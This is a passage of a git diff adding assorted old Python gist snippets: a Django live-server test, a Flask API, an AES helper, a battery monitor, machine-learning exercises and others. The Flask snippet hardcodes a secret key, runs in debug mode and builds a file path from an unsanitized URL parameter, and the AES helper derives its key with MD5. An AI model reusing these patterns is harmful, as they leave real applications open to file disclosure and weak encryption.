+for root, dirs, files in os.walk(theRoot):
+    if '.DS_Store' in files:
+        del files[files.index('.DS_Store')]
+
+    for f in files:
+        f = os.path.join(root, f)
+        if '@2x' in f:
+            theTwoXImages.add(f)
+        else:
+            theOneXImages.add(f)
+
+theLonesomeImages = set()
+theRetinaImages = set()
+for f in theOneXImages:
+    theName, theExtension = os.path.splitext(f)
+    the2XName = theName + '@2x' + theExtension
+    if the2XName not in theTwoXImages:
+        theLonesomeImages.add(f)
+    else:
+        theRetinaImages.add(f)
+
+for f in theLonesomeImages:
+    print f
+    if args.color:
+        im = Image.open(f)
+        theSize = im.size
+        im = Image.new('RGBA', theSize, (255, 0, 255, 255))
+        im.save(f)
diff --git a/hard-gists/1685139/._snippet.py b/hard-gists/1685139/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1685139/._snippet.py differ
diff --git a/hard-gists/1685139/snippet.py b/hard-gists/1685139/snippet.py
new file mode 100644
index 00000000..f86a5a44
--- /dev/null
+++ b/hard-gists/1685139/snippet.py
@@ -0,0 +1,311 @@
+""" LiveServerTestCase extracted from Django 1.4 alpha source """
+
+import os
+import threading
+import select
+
+from django.conf import settings
+from django.db import connections, DEFAULT_DB_ALIAS
+from django.core.management import call_command
+from django.contrib.staticfiles.handlers import StaticFilesHandler
+from django.core.handlers.wsgi import WSGIHandler
+from django.core.servers.basehttp import (WSGIRequestHandler, WSGIServer,
+    WSGIServerException)
+
+from django.test.testcases import TransactionTestCase
+
+
+class _ImprovedEvent(threading._Event):
+    """
+    Does the same as `threading.Event` except it overrides the wait() method
+    with some code borrowed from Python 2.7 to return the set state of the
+    event (see: http://hg.python.org/cpython/rev/b5aa8aa78c0f/). This allows
+    to know whether the wait() method exited normally or because of the
+    timeout. This class can be removed when Django supports only Python >= 2.7.
+    """
+
+    def wait(self, timeout=None):
+        self._Event__cond.acquire()
+        try:
+            if not self._Event__flag:
+                self._Event__cond.wait(timeout)
+            return self._Event__flag
+        finally:
+            self._Event__cond.release()
+
+
+class QuietWSGIRequestHandler(WSGIRequestHandler):
+    """
+    Just a regular WSGIRequestHandler except it doesn't log to the standard
+    output any of the requests received, so as to not clutter the output for
+    the tests' results.
+    """
+    def log_message(*args):
+        pass
+
+
+class StoppableWSGIServer(WSGIServer):
+    """
+    The code in this class is borrowed from the `SocketServer.BaseServer` class
+    in Python 2.6. The important functionality here is that the server is non-
+    blocking and that it can be shut down at any moment. This is made possible
+    by the server regularly polling the socket and checking if it has been
+    asked to stop.
+    Note for the future: Once Django stops supporting Python 2.6, this class
+    can be removed as `WSGIServer` will have this ability to shutdown on
+    demand and will not require the use of the _ImprovedEvent class whose code
+    is borrowed from Python 2.7.
+    """
+
+    def __init__(self, *args, **kwargs):
+        WSGIServer.__init__(self, *args, **kwargs)
+        self.__is_shut_down = _ImprovedEvent()
+        self.__serving = False
+
+    def serve_forever(self, poll_interval=0.5):
+        """
+        Handle one request at a time until shutdown.
+
+        Polls for shutdown every poll_interval seconds.
+        """
+        self.__serving = True
+        self.__is_shut_down.clear()
+        while self.__serving:
+            r, w, e = select.select([self], [], [], poll_interval)
+            if r:
+                self._handle_request_noblock()
+        self.__is_shut_down.set()
+
+    def shutdown(self):
+        """
+        Stops the serve_forever loop.
+
+        Blocks until the loop has finished. This must be called while
+        serve_forever() is running in another thread, or it will
+        deadlock.
+        """
+        self.__serving = False
+        if not self.__is_shut_down.wait(2):
+            raise RuntimeError(
+                "Failed to shutdown the live test server in 2 seconds. The "
+                "server might be stuck or generating a slow response.")
+
+    def handle_request(self):
+        """Handle one request, possibly blocking.
+        """
+        fd_sets = select.select([self], [], [], None)
+        if not fd_sets[0]:
+            return
+        self._handle_request_noblock()
+
+    def _handle_request_noblock(self):
+        """
+        Handle one request, without blocking.
+
+        I assume that select.select has returned that the socket is
+        readable before this function was called, so there should be
+        no risk of blocking in get_request().
+        """
+        try:
+            request, client_address = self.get_request()
+        except socket.error:
+            return
+        if self.verify_request(request, client_address):
+            try:
+                self.process_request(request, client_address)
+            except Exception:
+                self.handle_error(request, client_address)
+                self.close_request(request)
+
+
+class _MediaFilesHandler(StaticFilesHandler):
+    """
+    Handler for serving the media files. This is a private class that is
+    meant to be used solely as a convenience by LiveServerThread.
+    """
+
+    def get_base_dir(self):
+        return settings.MEDIA_ROOT
+
+    def get_base_url(self):
+        return settings.MEDIA_URL
+
+    def serve(self, request):
+        return serve(request, self.file_path(request.path),
+            document_root=self.get_base_dir())
+
+
+class LiveServerThread(threading.Thread):
+    """
+    Thread for running a live http server while the tests are running.
+    """
+
+    def __init__(self, host, possible_ports, connections_override=None):
+        self.host = host
+        self.port = None
+        self.possible_ports = possible_ports
+        self.is_ready = threading.Event()
+        self.error = None
+        self.connections_override = connections_override
+        super(LiveServerThread, self).__init__()
+
+    def run(self):
+        """
+        Sets up the live server and databases, and then loops over handling
+        http requests.
+        """
+        if self.connections_override:
+            from django.db import connections
+            # Override this thread's database connections with the ones
+            # provided by the main thread.
+            for alias, conn in self.connections_override.items():
+                conn.allow_thread_sharing = True
+                connections._connections[alias] = conn
+
+        try:
+            # Create the handler for serving static and media files
+            handler = StaticFilesHandler(_MediaFilesHandler(WSGIHandler()))
+
+            # Go through the list of possible ports, hoping that we can find
+            # one that is free to use for the WSGI server.
+            for index, port in enumerate(self.possible_ports):
+                try:
+                    self.httpd = StoppableWSGIServer(
+                        (self.host, port), QuietWSGIRequestHandler)
+                except WSGIServerException, e:
+                    if sys.version_info < (2, 6):
+                        error_code = e.args[0].args[0]
+                    else:
+                        error_code = e.args[0].errno
+                    if (index + 1 < len(self.possible_ports) and
+                        error_code == errno.EADDRINUSE):
+                        # This port is already in use, so we go on and try with
+                        # the next one in the list.
+                        continue
+                    else:
+                        # Either none of the given ports are free or the error
+                        # is something else than "Address already in use". So
+                        # we let that error bubble up to the main thread.
+                        raise
+                else:
+                    # A free port was found.
+                    self.port = port
+                    break
+
+            self.httpd.set_app(handler)
+            self.is_ready.set()
+            self.httpd.serve_forever()
+        except Exception, e:
+            self.error = e
+            self.is_ready.set()
+
+    def join(self, timeout=None):
+        if hasattr(self, 'httpd'):
+            # Stop the WSGI server
+            self.httpd.shutdown()
+            self.httpd.server_close()
+        super(LiveServerThread, self).join(timeout)
+
+
+class LiveServerTestCase(TransactionTestCase):
+    """
+    Does basically the same as TransactionTestCase but also launches a live
+    http server in a separate thread so that the tests may use another testing
+    framework, such as Selenium for example, instead of the built-in dummy
+    client.
+    Note that it inherits from TransactionTestCase instead of TestCase because
+    the threads do not share the same transactions (unless if using in-memory
+    sqlite) and each thread needs to commit all their transactions so that the
+    other thread can see the changes.
+    """
+
+    @property
+    def live_server_url(self):
+        return 'http://%s:%s' % (
+            self.server_thread.host, self.server_thread.port)
+
+    @classmethod
+    def setUpClass(cls):
+        connections_override = {}
+        for conn in connections.all():
+            # If using in-memory sqlite databases, pass the connections to
+            # the server thread.
+            if (conn.settings_dict['ENGINE'] == 'django.db.backends.sqlite3'
+                and conn.settings_dict['NAME'] == ':memory:'):
+                # Explicitly enable thread-shareability for this connection
+                conn.allow_thread_sharing = True
+                connections_override[conn.alias] = conn
+
+        # Launch the live server's thread
+        specified_address = os.environ.get(
+            'DJANGO_LIVE_TEST_SERVER_ADDRESS', 'localhost:8081')
+
+        # The specified ports may be of the form '8000-8010,8080,9200-9300'
+        # i.e. a comma-separated list of ports or ranges of ports, so we break
+        # it down into a detailed list of all possible ports.
+        possible_ports = []
+        try:
+            host, port_ranges = specified_address.split(':')
+            for port_range in port_ranges.split(','):
+                # A port range can be of either form: '8000' or '8000-8010'.
+                extremes = map(int, port_range.split('-'))
+                assert len(extremes) in [1, 2]
+                if len(extremes) == 1:
+                    # Port range of the form '8000'
+                    possible_ports.append(extremes[0])
+                else:
+                    # Port range of the form '8000-8010'
+                    for port in range(extremes[0], extremes[1] + 1):
+                        possible_ports.append(port)
+        except Exception:
+            raise ImproperlyConfigured('Invalid address ("%s") for live '
+                'server.' % specified_address)
+        cls.server_thread = LiveServerThread(
+            host, possible_ports, connections_override)
+        cls.server_thread.daemon = True
+        cls.server_thread.start()
+
+        # Wait for the live server to be ready
+        cls.server_thread.is_ready.wait()
+        if cls.server_thread.error:
+            raise cls.server_thread.error
+
+        super(LiveServerTestCase, cls).setUpClass()
+
+    @classmethod
+    def tearDownClass(cls):
+        # There may not be a 'server_thread' attribute if setUpClass() for some
+        # reasons has raised an exception.
+        if hasattr(cls, 'server_thread'):
+            # Terminate the live server's thread
+            cls.server_thread.join()
+        super(LiveServerTestCase, cls).tearDownClass()
+
+
+# --------------------
+# Example using splinter
+# --------------------
+
+from splinter.browser import Browser
+
+
+class SplinterTestCase(LiveServerTestCase):
+    @classmethod
+    def setUpClass(cls):
+        cls.browser = Browser()
+        super(SplinterTestCase, cls).setUpClass()
+
+    @classmethod
+    def tearDownClass(cls):
+        cls.browser.quit()
+        super(SplinterTestCase, cls).tearDownClass()
+
+
+class LoginUiTest(SplinterTestCase):
+    fixtures = ['user_data.json']
+
+    def test_login(self):
+        self.browser.visit('%s%s' % (self.live_server_url, '/accounts/login/'))
+        self.browser.fill('username', 'admin')
+        self.browser.fill('password', 'mysecretpassword')
+        self.browser.find_by_css('#login').first.click()
diff --git a/hard-gists/1685580/._snippet.py b/hard-gists/1685580/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1685580/._snippet.py differ
diff --git a/hard-gists/1685580/snippet.py b/hard-gists/1685580/snippet.py
new file mode 100644
index 00000000..c68b862d
--- /dev/null
+++ b/hard-gists/1685580/snippet.py
@@ -0,0 +1,77 @@
+from flask import Flask, g, request, flash, url_for, redirect, render_template, abort
+from flaskext.jsonify import jsonify
+from flaskext.sqlalchemy import *
+from sqlalchemy import *
+from pyodbc import *
+import logging
+
+DATABASE = "dsn=Foo;Trusted_Connection=Yes"
+SECRET_KEY = "asdasdfasd1234sdagfa23asdfg123"
+
+app = Flask(__name__)
+app.config.from_object(__name__)
+db = SQLAlchemy(app)
+app.debug = True
+
+logging.basicConfig(filename='strava.log',level=logging.DEBUG)
+
+def connect_db():
+	logging.warning("connect_db")
+	return create_engine('mssql+pyodbc://Foo').connect()
+    #return pyodbc.connect(app.config['DATABASE'])
+
+@app.before_request
+def before_request():
+	logging.warning("before_request")
+	g.db = connect_db()
+	logging.info(type(g.db))
+	if g.db is None:
+		logging.error("No database to connect to")
+	else:
+		logging.info("Database successfully created ")
+		
+
+@app.teardown_request
+def teardown_request(exception):
+	logging.warning("teardown_request")
+	if hasattr(g, 'db'):
+		g.db.close()
+	#pass
+
+def dump_datetime(value):
+	"""Deserialize datetime object into string form for JSON processing."""
+	if value is None:
+		return None
+	return [value.strftime("%Y-%m-%d"), value.strftime("%H:%M:%S")]
+
+
+#@app.route("/")
+#def hello():
+#    return "Hello fsda fs World!"
+
+@app.route('/')
+@jsonify
+def index():
+	logging.info("entering index")	
+	cur = g.db.execute('select * from Requisitions')
+	logging.info("has data")	
+	results = cur.fetchall()
+	entries = [dict(title=row['title'], text=row[1]) for row in results]
+	entries2 = results
+	logging.info("has entries")	
+	return entries
+
+@app.route('/api/<message>')
+def get_results(message):
+	#response = render_template('%s.html' % message )
+	try:
+		with open('json/%s.json' % message) as f:
+			return f.read(), 200, {'Content-Type': 'application/json'}
+	except:
+		return json_error("Invalid message request", "500"), 406, {'Content-Type': 'application/json'}
+	
+def json_error(message, error_code):
+	return "{'success': 'false', 'message': '%s', 'code': '%s'}" % (message, error_code)
+
+if __name__ == "__main__":
+    app.run()
diff --git a/hard-gists/1688557/._snippet.py b/hard-gists/1688557/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1688557/._snippet.py differ
diff --git a/hard-gists/1688557/snippet.py b/hard-gists/1688557/snippet.py
new file mode 100644
index 00000000..ef1eeca3
--- /dev/null
+++ b/hard-gists/1688557/snippet.py
@@ -0,0 +1,12 @@
+from django.shortcuts import render
+
+class RestfulView(object):
+    allowed_methods = ["GET", "POST"]
+
+    def __call__(self, request, *args, **kwargs):
+        if request.method not in self.allowed_methods or not hasattr(self, request.method):
+            return self.method_not_allowed(request)
+        return getattr(self, request.method)(request, *args, **kwargs)
+
+    def method_not_allowed(self, request):
+        return render(request, "405.html", status=405)
diff --git a/hard-gists/168c9d74b988391e702aac5f4aa69e41/._snippet.py b/hard-gists/168c9d74b988391e702aac5f4aa69e41/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/168c9d74b988391e702aac5f4aa69e41/._snippet.py differ
diff --git a/hard-gists/168c9d74b988391e702aac5f4aa69e41/snippet.py b/hard-gists/168c9d74b988391e702aac5f4aa69e41/snippet.py
new file mode 100644
index 00000000..e50ccca2
--- /dev/null
+++ b/hard-gists/168c9d74b988391e702aac5f4aa69e41/snippet.py
@@ -0,0 +1,48 @@
+from hashlib import md5
+from base64 import b64decode
+from base64 import b64encode
+from Crypto import Random
+from Crypto.Cipher import AES
+
+
+# Padding for the input string --not
+# related to encryption itself.
+BLOCK_SIZE = 16  # Bytes
+pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
+                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
+unpad = lambda s: s[:-ord(s[len(s) - 1:])]
+
+
+class AESCipher:
+    """
+    Usage:
+        c = AESCipher('password').encrypt('message')
+        m = AESCipher('password').decrypt(c)
+
+    Tested under Python 3 and PyCrypto 2.6.1.
+
+    """
+
+    def __init__(self, key):
+        self.key = md5(key.encode('utf8')).hexdigest()
+
+    def encrypt(self, raw):
+        raw = pad(raw)
+        iv = Random.new().read(AES.block_size)
+        cipher = AES.new(self.key, AES.MODE_CBC, iv)
+        return b64encode(iv + cipher.encrypt(raw))
+
+    def decrypt(self, enc):
+        enc = b64decode(enc)
+        iv = enc[:16]
+        cipher = AES.new(self.key, AES.MODE_CBC, iv)
+        return unpad(cipher.decrypt(enc[16:])).decode('utf8')
+
+
+##
+# MAIN
+# Just a test.
+msg = input('Message...: ')
+pwd = input('Password..: ')
+
+print('Ciphertext:', AESCipher(pwd).encrypt(msg))
diff --git a/hard-gists/1693769/._snippet.py b/hard-gists/1693769/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1693769/._snippet.py differ
diff --git a/hard-gists/1693769/snippet.py b/hard-gists/1693769/snippet.py
new file mode 100644
index 00000000..7ae7bfe0
--- /dev/null
+++ b/hard-gists/1693769/snippet.py
@@ -0,0 +1,105 @@
+#!/usr/bin/env python
+from __future__ import division
+import numpy as np
+import matplotlib.pyplot as plt
+from scipy import optimize
+from numpy import newaxis, r_, c_, mat, e
+from numpy.linalg import *
+
+def plotData(X, y):
+    #pos = (y.ravel() == 1).nonzero()
+    #neg = (y.ravel() == 0).nonzero()
+    pos = (y == 1).nonzero()[:1]
+    neg = (y == 0).nonzero()[:1]
+
+    plt.plot(X[pos, 0].T, X[pos, 1].T, 'k+', markeredgewidth=2, markersize=7)
+    plt.plot(X[neg, 0].T, X[neg, 1].T, 'ko', markerfacecolor='r', markersize=7)
+
+def sigmoid(z):
+    g = 1. / (1 + e**(-z.A))
+    return g
+
+def costFunction(theta, X, y):
+    m = X.shape[0]
+
+    predictions = sigmoid(X * c_[theta])
+    J = 1./m * (-y.T.dot(np.log(predictions)) - (1-y).T.dot(np.log(1 - predictions)))
+
+    #grad = 1./m * X.T * (predictions - y)
+    return J[0][0]##, grad.A
+
+def predict(theta, X):
+    p = sigmoid(X * c_[theta]) >= 0.5
+    return p
+
+def plotDecisionBoundary(theta, X, y):
+    plotData(X[:, 1:3], y)
+
+    if X.shape[1] <= 3:
+        plot_x = r_[X[:,2].min()-2,  X[:,2].max()+2]
+        plot_y = (-1./theta[2]) * (theta[1]*plot_x + theta[0])
+
+        plt.plot(plot_x, plot_y)
+        plt.legend(['Admitted', 'Not admitted', 'Decision Boundary'])
+        plt.axis([30, 100, 30, 100])
+    else:
+        pass
+
+if __name__ == '__main__':
+    data = np.loadtxt('ex2data1.txt', delimiter=',')
+    X = mat(c_[data[:, :2]])
+    y = c_[data[:, 2]]
+
+    # ============= Part 1: Plotting
+
+    print 'Plotting data with + indicating (y = 1) examples and o ' \
+          'indicating (y = 0) examples.'
+
+    plotData(X, y)
+    plt.ylabel('Exam 1 score')
+    plt.xlabel('Exam 2 score')
+    plt.legend(['Admitted', 'Not admitted'])
+    plt.show()
+
+    raw_input('Press any key to continue\n')
+
+    # ============= Part 2: Compute cost and gradient
+
+    m, n = X.shape
+
+    X = c_[np.ones(m), X]
+
+    initial_theta = np.zeros(n+1)
+
+    cost, grad = costFunction(initial_theta, X, y), None
+
+    print 'Cost at initial theta (zeros): %f' % cost
+    print 'Gradient at initial theta (zeros):\n%s' % grad
+
+    raw_input('Press any key to continue\n')
+
+    # ============= Part 3: Optimizing using fminunc
+
+    options = {'full_output': True, 'maxiter': 400}
+
+    theta, cost, _, _, _ = \
+        optimize.fmin(lambda t: costFunction(t, X, y), initial_theta, **options)
+
+    print 'Cost at theta found by fminunc: %f' % cost
+    print 'theta: %s' % theta
+
+    plotDecisionBoundary(theta, X, y)
+    plt.show()
+
+    raw_input('Press any key to continue\n')
+
+    # ============== Part 4: Predict and Accuracies
+
+    prob = sigmoid(mat('1 45 85') * c_[theta])
+    print 'For a student with scores 45 and 85, we predict an admission ' \
+          'probability of %f' % prob
+
+    p = predict(theta, X)
+    print 'Train Accuracy:', (p == y).mean() * 100
+
+    raw_input('Press any key to continue\n')
diff --git a/hard-gists/1694496/._snippet.py b/hard-gists/1694496/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1694496/._snippet.py differ
diff --git a/hard-gists/1694496/snippet.py b/hard-gists/1694496/snippet.py
new file mode 100644
index 00000000..b7798f9a
--- /dev/null
+++ b/hard-gists/1694496/snippet.py
@@ -0,0 +1,34 @@
+"""
+This allows you to import Django modules into a Salt module
+"""
+
+import logging
+import sys
+import os
+
+log = logging.getLogger(__name__)
+
+# point this at the virtualenv dir that your django deployment runs out of
+# you are using virtualenv. right?
+DJANGO_ENV = '/home/core/python-envs/production'
+
+# where your code lives (ie where settings.py is)
+DJANGO_DIR = '/home/core/code/production'
+
+log.debug("Preparing Django modules...")
+
+# add our site packages
+import site
+site_packages = os.path.join(DJANGO_ENV, 'lib', 'python%s' % sys.version[:3], 'site-packages')
+site.addsitedir(site_packages)
+
+# put the main Django directory on first
+sys.path.insert(0, DJANGO_DIR)
+
+# setup the Django environment pointing to our settings
+import settings
+import django.core.management
+django.core.management.setup_environ(settings)
+
+# finally, import our objects
+from yourapp.models import YourModel
\ No newline at end of file
diff --git a/hard-gists/16c0eb09d232461a773c22803a3df35e/._snippet.py b/hard-gists/16c0eb09d232461a773c22803a3df35e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/16c0eb09d232461a773c22803a3df35e/._snippet.py differ
diff --git a/hard-gists/16c0eb09d232461a773c22803a3df35e/snippet.py b/hard-gists/16c0eb09d232461a773c22803a3df35e/snippet.py
new file mode 100644
index 00000000..1a8fbc66
--- /dev/null
+++ b/hard-gists/16c0eb09d232461a773c22803a3df35e/snippet.py
@@ -0,0 +1,107 @@
+#!/usr/bin/env python
+from gi.repository import Notify
+import subprocess
+from time import sleep, time
+from sys import argv
+import dbus
+
+
+def send_notification(title, text):
+    try:
+        if Notify.init(argv[0]):
+            n = Notify.Notification.new("Notify")
+            n.update(title, text)
+            n.set_urgency(2)
+            if not n.show():
+                raise SyntaxError("sending notification failed!")
+        else:
+            raise SyntaxError("can't initialize notification!")
+    except SyntaxError as error:
+        print(error)
+        if error == "sending notification failed!":
+            Notify.uninit()
+    else:
+        Notify.uninit()
+
+
+def run_cmd(cmdlist):
+    try:
+        stdout = subprocess.check_output(cmdlist)
+    except subprocess.CalledProcessError:
+        pass
+    else:
+        if stdout:
+            return stdout
+
+
+def run_dbus_method(bus_type, obj, path, interface, method, arg):
+    if bus_type == "session":
+        bus = dbus.SessionBus()
+    if bus_type == "system":
+        bus = dbus.SystemBus()
+    proxy = bus.get_object(obj, path)
+    method = proxy.get_dbus_method(method, interface)
+    if arg:
+        return method(arg)
+    else:
+        return method()
+
+
+def suspend_system():
+    run_dbus_method('session',
+                    'com.canonical.Unity',
+                    '/com/canonical/Unity/Session',
+                    'com.canonical.Unity.Session',
+                    'Suspend', 'None')
+
+
+def get_battery_percentage():
+    output = run_cmd(['upower', '--dump']).decode().split('\n')
+    found_battery = False
+    for line in output:
+        if 'BAT' in line:
+            found_battery = True
+        if found_battery and 'percentage' in line:
+            return line.split()[1].split('%')[0]
+
+
+def main():
+    end = time()
+    battery_path = ""
+    for line in run_cmd(['upower', '-e']).decode().split('\n'):
+        if 'battery_BAT' in line:
+            battery_path = line
+            break
+    while True:
+        notified = False
+        while subprocess.call(['on_ac_power']) == 0:
+
+            sleep(0.25)
+            run_dbus_method('system', 'org.freedesktop.UPower',
+                            battery_path, 'org.freedesktop.UPower.Device',
+                            'Refresh', 'None')
+            battery_percentage = int(get_battery_percentage())
+            if battery_percentage == int(argv[2]) and not notified:
+               subprocess.call( ['zenity', '--info','--text', 'Battery reached' + argv[2] + '%'  ]  ) 
+               notified = True
+        while subprocess.call(['on_ac_power']) == 1:
+
+            sleep(0.25)
+            run_dbus_method('system', 'org.freedesktop.UPower',
+                            battery_path, 'org.freedesktop.UPower.Device',
+                            'Refresh', 'None')
+            battery_percentage = int(get_battery_percentage())
+ 
+            if battery_percentage <= int(argv[1]):
+                if battery_percentage <= 10:
+                    send_notification('Low Battery',
+                                      'Will suspend in 60 seconds')
+                    sleep(60)
+                    suspend_system()
+                    continue
+                if end < time():
+                    end = time() + 600
+                    send_notification('Low Battery', 'Plug in your charger')
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/16ce4914683da30f87d0/._snippet.py b/hard-gists/16ce4914683da30f87d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/16ce4914683da30f87d0/._snippet.py differ
diff --git a/hard-gists/16ce4914683da30f87d0/snippet.py b/hard-gists/16ce4914683da30f87d0/snippet.py
new file mode 100644
index 00000000..b888adfe
--- /dev/null
+++ b/hard-gists/16ce4914683da30f87d0/snippet.py
@@ -0,0 +1,72 @@
+#! encoding=UTF-8
+"""
+kernel canonical correlation analysis
+"""
+
+import numpy as np
+from scipy.linalg import svd
+from sklearn.metrics.pairwise import pairwise_kernels, euclidean_distances
+
+class KCCA(object):
+	def __init__(self, n_components=1, epsilon=1.0, kernel="linear", degree=3, gamma=None, coef0=1, n_jobs=1):
+		self.n_components = n_components
+		self.epsilon = epsilon
+		self.kernel = kernel
+		self.degree = degree
+		self.gamma = gamma
+		self.coef0 = coef0
+		self.n_jobs = n_jobs
+
+	def fit(self, X, Y):
+		ndata_x, nfeature_x = X.shape
+		ndata_y, nfeature_y = Y.shape
+		if ndata_x != ndata_y:
+			raise Exception("Inequality of number of data between X and Y")
+
+		if self.kernel != "precomputed":
+			Kx = self._pairwise_kernels(X)
+			Ky = self._pairwise_kernels(Y)
+
+		I = self.epsilon * np.identity(ndata_x)
+		KxI_inv = np.linalg.inv(Kx + I)
+		KyI_inv = np.linalg.inv(Ky + I)
+		L = np.dot(KxI_inv, np.dot(Kx, np.dot(Ky, KyI_inv)))
+		U, s, Vh = svd(L)
+
+		self.alpha = np.dot(KxI_inv, U[:, :self.n_components])
+		self.beta = np.dot(KyI_inv, Vh.T[:, :self.n_components])
+		return self
+
+	def _pairwise_kernels(self, X, Y=None):
+		return pairwise_kernels(X, Y, metric=self.kernel, filter_params=True, n_jobs=self.n_jobs, degree=self.degree, gamma=self.gamma, coef0=self.coef0)
+
+
+if __name__ == "__main__":
+	X = np.random.normal(size=(1000,100))
+	Y = np.random.normal(size=(1000,20))
+	kcca = KCCA(n_components=10, kernel="rbf", n_jobs=1, epsilon=0.1).fit(X, Y)
+
+	"""
+	matching on test data
+	"""
+	alpha = kcca.alpha
+	beta = kcca.beta
+	X_te = np.random.normal(size=(10,100))
+	Y_te = np.random.normal(size=(10,20))
+	Kx = kcca._pairwise_kernels(X_te, X)
+	Ky = kcca._pairwise_kernels(Y_te, Y)
+	F = np.dot(Kx, alpha)
+	G = np.dot(Ky, beta)
+	D = euclidean_distances(F, G)
+	idx_pred = np.argmin(D, axis=0)
+	print "matching result:", idx_pred
+
+	"""
+	similarity between true object and predicted object on test data
+	"""
+	idx_true = range(10)
+	C = pairwise_kernels(Y_te[idx_true], Y_te[idx_pred], metric="cosine")
+	print "1-best mean similarity:", np.mean(C.diagonal())
+
+
+
diff --git a/hard-gists/16e35ed936bab863a29b/._snippet.py b/hard-gists/16e35ed936bab863a29b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/16e35ed936bab863a29b/._snippet.py differ
diff --git a/hard-gists/16e35ed936bab863a29b/snippet.py b/hard-gists/16e35ed936bab863a29b/snippet.py
new file mode 100644
index 00000000..a371e231
--- /dev/null
+++ b/hard-gists/16e35ed936bab863a29b/snippet.py
@@ -0,0 +1,82 @@
+from maybe import Maybe
+from validation import Validation
+
+
+def Typeclass():
+    class _Typeclass(object):
+        registered_class = {}
+
+        @classmethod
+        def instance_for(cls, object_type):
+            def wrapper(instance_cls):
+                cls.registered_class[object_type] = instance_cls()
+                return instance_cls
+
+            return wrapper
+
+        @classmethod
+        def get_instance_for(cls, obj):
+            def findFor(object_type):
+                for instance_cls in cls.registered_class.keys():
+                    if issubclass(object_type, instance_cls):
+                        return instance_cls
+                return None
+
+            return cls.registered_class[findFor(obj.__class__)]
+
+    return _Typeclass
+
+
+# ----
+
+class Functor(Typeclass()):
+    def map(self, callable, functor):
+        pass
+
+
+@Functor.instance_for(Maybe)
+class MaybeFunctor(Functor):
+    def map(self, callable, functor):
+        return functor.map(callable)
+
+
+@Functor.instance_for(Validation)
+class ValidationFunctor(Functor):
+    def map(self, callable, functor):
+        return functor.map(callable)
+
+
+def map(callable, functor):
+    return Functor.get_instance_for(functor).map(callable, functor)
+
+
+# ----
+
+class Monad(Typeclass()):
+    def flatmap(self, callable, monad):
+        pass
+
+@Monad.instance_for(Maybe)
+class MaybeMonad(Monad):
+    def flatmap(self, callable, monad):
+        return monad.flatmap(callable)
+
+@Monad.instance_for(Validation)
+class ValidationMonad(Monad):
+    def flatmap(self, callable, monad):
+        return monad.flatmap(callable)
+
+def flatmap(callable, monad):
+    return Monad.get_instance_for(monad).flatmap(callable, monad)
+
+# ----
+
+if __name__ == '__main__':
+    from maybe import Just
+    from validation import Success
+
+    print(map(lambda x: x + 5, Just(10)))
+    print(map(lambda x: x + 5, Success(10)))
+
+    print(flatmap(lambda x: Just(x + 5), Just(10)))
+    print(flatmap(lambda x: Success(x + 5), Success(10)))
diff --git a/hard-gists/1701305/._snippet.py b/hard-gists/1701305/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1701305/._snippet.py differ
diff --git a/hard-gists/1701305/snippet.py b/hard-gists/1701305/snippet.py
new file mode 100644
index 00000000..a11415bb
--- /dev/null
+++ b/hard-gists/1701305/snippet.py
@@ -0,0 +1,89 @@
+#!/usr/bin/env python
+import eyeD3
+from ogg import vorbis
+from time import localtime
+import json
+import getopt
+import sys
+from email.mime.image import MIMEImage
+
+def tag_mp3(target_file, info):
+    try:
+        tag = eyeD3.Tag()
+        tag.link(target_file + '.mp3')
+        tag.setVersion([2,3,0])
+        tag.setArtist(str(info['artist']))
+        tag.setAlbum(str(info['album']))
+        tag.setTitle(str(info['title']))
+        tag.setDate(localtime().tm_year)
+        tag.setGenre(str(info['genre']))
+        tag.addComment(str(info['comment']))
+        tag.addImage(0x03, info['image'])
+        tag.update()
+    except:
+        print "Cannot tag MP3 file"
+        return
+
+def tag_ogg(target_file, info):
+    
+    tag = vorbis.VorbisComment()
+    tag['GENRE'] = str(info['genre'])
+    tag['ALBUM'] = str(info['album'])
+    tag['TITLE'] = str(info['title'])
+    tag['COMMENTS'] = str(info['comment'])
+    tag['ARTIST'] = str(info['artist'])
+    tag['DATE'] = str(localtime().tm_year)
+    tag['TRACKNUMBER'] = '1'
+
+    # OK, now try importing the image
+    try:
+        fp = open(info['image'],'rb')
+        img = MIMEImage(fp.read())
+        tag['COVERARTMIME'] = img.get_content_type()
+        tag['COVERART'] = (img.get_payload())
+        tag['COVERART']
+    except:
+        print "Cannot open Image file"
+        return
+
+    if tag['COVERARTMIME']:
+        try:
+            target = target_file + '.ogg'
+            tag.write_to(target) 
+        except:
+            print "Can't write to .ogg file"
+            return
+
+def main():
+
+    try:
+        optlist, args = getopt.getopt(sys.argv[1:], 'h', ['json=', 'target='])
+    except:
+        print sys.exc_info()[0]
+        sys.exit(2)
+
+    json_file = None
+    target_file = None
+    for o, a in optlist:
+        if o == '--json':
+            json_file = a
+        if o == '--target':
+            target_file = a
+
+    # Get the info from the tags.json file
+    # FIXME: Make this a separate argument?
+    if json_file:
+        try:
+            file = open(json_file, 'r')
+            info = json.load(file)
+            print info
+        except:
+            print sys.exc_info()[0]
+            sys.exit(2)
+
+    if target_file:
+        tag_mp3(target_file, info)
+        tag_ogg(target_file, info)
+
+if __name__ == "__main__":
+        main()
diff --git a/hard-gists/1701845/._snippet.py b/hard-gists/1701845/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1701845/._snippet.py differ
diff --git a/hard-gists/1701845/snippet.py b/hard-gists/1701845/snippet.py
new file mode 100644
index 00000000..c96e1390
--- /dev/null
+++ b/hard-gists/1701845/snippet.py
@@ -0,0 +1,54 @@
+from django.conf.urls.defaults import *
